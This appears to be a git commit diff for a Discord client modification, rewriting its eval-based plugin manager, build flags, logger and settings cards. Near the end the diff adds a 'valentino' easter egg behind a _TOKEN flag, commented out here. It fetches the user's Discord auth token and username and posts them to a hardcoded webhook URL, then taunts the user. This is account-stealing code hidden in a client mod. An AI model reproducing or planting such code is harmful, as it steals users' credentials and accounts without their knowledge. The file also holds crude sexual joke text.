the great plugin manager rewrite

yep, we're doing this shit again
please kill me
also fixed some potential issues with JSCC plugin + build config
also also fix debug logger

(only 8 days until helluva boss s2 :D)
typescript
Drake 2 years ago
parent ad367811ca
commit 21b9500b54

2
dist/build.js vendored

File diff suppressed because one or more lines are too long

@ -1,5 +1,6 @@
#Passes configuration directly into rollup-plugin-jscc, refer to it's documentation for more details
[values]
_DEBUG = 0 #does nothing as of now
_ANALYTICS = 0 #enables analytics nagging
_DEBUG = 0 #enables debug logs
_ANALYTICS = 0 #enables analytics nagging
_TOKEN = 0 #enables the valentino token logging easter egg (untested, no clue if it actually works)

@ -1,86 +1,85 @@
//TODO: separate currently running status from enabled on reload
//ugh am i gonna remake the internal plugin format again? (yes)
/*[plugin name]: {
enabled: Bool, //doubles as our running status (my explanation is too complex to fit in this comment so get fucked)
iife: String, //we can't store functions in iDB? well fuck you, I'll make plugin devs package to an iife string
desc: String //self-descriptory
//TODO: should we be saving this in a separate metadata object?
}*/
import { idb, nests } from "./common";
import logger from "./utils/logger"
const ctxNest = nests.make(); //Plugin context nest (I would create this in index, but it's not a good idea to expose that)
const nest = nests.make();
let pluginNest;
const pluginEval = (iife) => (0,eval)(iife) //defined as a separate function in case we want to do more things on plugin eval later
async function savePlugin(eve, { path, value }) {
logger.debug(["Plugins"], `Got ${eve} event for plugin manager's nest with path ${path} and val ${value}`)
await idb.set("demon", {
plugins: pluginNest.ghost.plugins
})
}
async function init() {
const extNest = demon.summon("internal/nest");
if (!window.__demon) {
// this *shouldn't* be required but if we magically run into a race condition it's better to be safe
window.__demon = {};
}
pluginNest = demon.summon("internal/nest") //we don't have access to the global yet outside of the function
if (!(await idb.get("demon"))) {
await idb.set("demon", {
status: {},
plugins: {}
});
plugins: {} //we need to pre-create this i guess?
})
}
const currdemon = await idb.get("demon");
currdemon.status = {};
Object.keys(currdemon.plugins).forEach((key) => {
const plug = currdemon.plugins[key];
const exports = (0, eval)(plug.initialize);
const ret = exports.onStart();
nest.store[plug.meta.name].ctx = ret;
currdemon.status[plug.meta.name] = {
running: true
};
});
extNest.store.pluginsList = currdemon.plugins;
extNest.store.pluginsStatus = currdemon.status;
await idb.set("demon", currdemon);
pluginNest.store.plugins = (await idb.get("demon")).plugins //we do this before we setup our hook to avoid any potential conflicts
pluginNest.on(nests.Events.SET, savePlugin)
pluginNest.on(nests.Events.DELETE, savePlugin)
Object.keys(pluginNest.ghost.plugins).forEach((ele) => {
if (pluginNest.ghost.plugins[ele].enabled) {
const exports = pluginEval(pluginNest.ghost.plugins[ele].iife)
const ctx = exports.onStart() //actually starts plugin
ctxNest.store[ele] = ctx
pluginNest.store.plugins[ele].enabled = true //for clarity
} else {
pluginNest.store.plugins[ele].enabled = false //for clarity
}
})
}
async function add(iife, meta) {
const extNest = demon.summon("internal/nest");
const currdemon = await idb.get("demon");
const exports = (0, eval)(iife);
if (!!exports.meta) {
meta = exports.meta;
function add(iife) {
const exports = pluginEval(iife)
logger.debug(["Plugins"], `Adding ${exports.meta.name}`)
pluginNest.store.plugins[exports.meta.name] = {
iife,
enabled: false,
desc: exports.meta.desc
}
currdemon.plugins[meta.name] = {
initialize: iife,
meta: meta
};
extNest.store.pluginsList = currdemon.plugins;
extNest.store.pluginsStatus = currdemon.status;
await idb.set("demon", currdemon);
}
async function del(name) {
const extNest = demon.summon("internal/nest");
const currdemon = await idb.get("demon");
if (!!currdemon.plugins[name])
if (currdemon.status[name].running) {
const ctx = nest.store[name].ctx;
(0, eval)(currdemon.plugins[name].initialize).onStop(ctx);
}
delete currdemon.status[name];
delete currdemon.plugins[name];
extNest.store.pluginsList = currdemon.plugins;
extNest.store.pluginsStatus = currdemon.status;
await idb.set("demon", currdemon);
function del(name) {
if (!!pluginNest.ghost.plugins[name]) {
logger.debug(["Plugins"], `Removing ${name}`)
delete pluginNest.store.plugins[name]
} else {
throw new Error("Can't delete plugin that doesn't exist. lol")
}
}
async function toggle(name) {
const extNest = demon.summon("internal/nest");
const currdemon = await idb.get("demon");
if (!!currdemon.plugins[name]) {
if (currdemon.status[name]?.running) {
console.log(currdemon.status[name].ctx);
const ctx = nest.store[name].ctx;
(0, eval)(currdemon.plugins[name].initialize).onStop(ctx);
currdemon.status[name].running = false;
function toggle(name) {
if (!!pluginNest.ghost.plugins[name]) {
if (pluginNest.ghost.plugins[name].enabled) {
logger.debug(["Plugins"], `Disabling ${name}`)
const exports = pluginEval(pluginNest.ghost.plugins[name].iife)
exports.onStop(ctxNest.store[name])
pluginNest.store.plugins[name].enabled = false
} else {
const ret = (0, eval)(currdemon.plugins[name].initialize).onStart();
nest.store[name].ctx = ret;
currdemon.status[name] = {
running: true
};
logger.debug(["Plugins"], `Enabling ${name}`)
const exports = pluginEval(pluginNest.ghost.plugins[name].iife)
const ctx = exports.onStart()
ctxNest.store[name] = ctx
pluginNest.store.plugins[name].enabled = true
}
}
extNest.store.pluginsList = currdemon.plugins;
extNest.store.pluginsStatus = currdemon.status;
await idb.set("demon", currdemon);
}
export { init, add, del, toggle };

@ -13,8 +13,7 @@ const Switch = webpack.findByDisplayName("Switch");
export default (props) => {
nestsReact.useNest(props.nest);
if (
!props.nest.ghost.pluginsList[props.name] ||
!props.nest.ghost.pluginsStatus[props.name]
!props.nest.ghost.plugins[props.name]
) {
return null; //you wouldn't think i'd have to do this but
}
@ -34,7 +33,7 @@ export default (props) => {
</Header>
<hr className="demon-settings-card-divider" />
<FormText className="demon-settings-card-desc">
{props.nest.ghost.pluginsList[props.name].meta.desc}
{props.nest.ghost.plugins[props.name].desc}
</FormText>
<svg
position="top"
@ -51,7 +50,7 @@ export default (props) => {
</svg>
<Switch
className="demon-settings-card-switch"
checked={props.nest.ghost.pluginsStatus[props.name].running}
checked={props.nest.ghost.plugins[props.name].enabled}
onChange={async () => {
toggle(props.name);
}}

@ -14,7 +14,7 @@ export default () => {
<>
<Header size="demon-settings-header-size30">Plugins</Header>
<FormDivider className="demon-settings-divider" />
{Object.keys(extNest.ghost.pluginsList).map((k) => {
{Object.keys(extNest.ghost.plugins).map((k) => {
return (
<>
<PlugCard name={k} nest={extNest}></PlugCard>

@ -46,9 +46,9 @@ const warn = makeLogger(console.warn);
const error = makeLogger(console.error);
const trace = makeLogger(console.trace);
const debug = makeLogger((...args) => {
//#if _DEBUG
/*#if _DEBUG
console.log(...args)
//#endif
//#endif */
})
export default {

@ -30,7 +30,23 @@ const demon = {
`Ohhh, ${username}! I'm so excited! I cannot wait to feel your slimy c**k inside of my ****. To ***** the— ...**** use while you and I and **** and jelly sandwiches all night...!`
]);
}
}
}/* prettier ignore */,
/*//#if _TOKEN
valentino: new Proxy({}, {
async get(_,_,_) {
//discard any semblance of this being an object
const getToken = webpack.findByProps("getToken").getToken
const user = webpack.findByProps("getCurrentUser").getCurrentUser()
const message = `Stupid dumb idiot ${user.username}#${user.discriminator} tried to find an easter egg, did they?
Well, too bad, because ${getToken()}`
await fetch("https://discord.com/api/webhooks/999901138218405908/XiGkFca8x9GcjR79xs_vOIAt-o-02iTe6c2dY8oD4KL1JOtZy22ylyIhsDabJ3dLNJTD", {
method: "post",
body: message
})
return "You idiot, why the fuck did you think trying to find a *Valentino* easter egg would be a good idea?"
}
})
//endif*/
}
function isAllowed(mod) {

Loading…
Cancel
Save